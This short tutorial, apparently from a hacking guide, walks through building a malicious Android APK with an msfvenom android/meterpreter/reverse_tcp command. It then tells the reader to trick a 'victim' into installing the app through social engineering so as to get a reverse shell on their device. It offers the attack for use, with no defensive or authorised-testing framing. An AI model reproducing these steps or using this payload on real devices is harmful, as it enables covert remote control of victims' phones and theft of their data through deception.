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We will be generating a malicious apk and

once it is installed on the device, we will

get the reverse shell



Step- 1
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 Generate a malicious apk and open a multi/handler listener

msfvenom –p android/meterpreter/reverse_tcp
LHOST=Localhost IP  LPORT=LocalPort R > android_shell.apk



Step- 2
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 Download and install it on victim’s machine. You can use social 
engineering to trick the victim into installing the application



Step- 3
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 Once the application is installed, you will get the reverse shell
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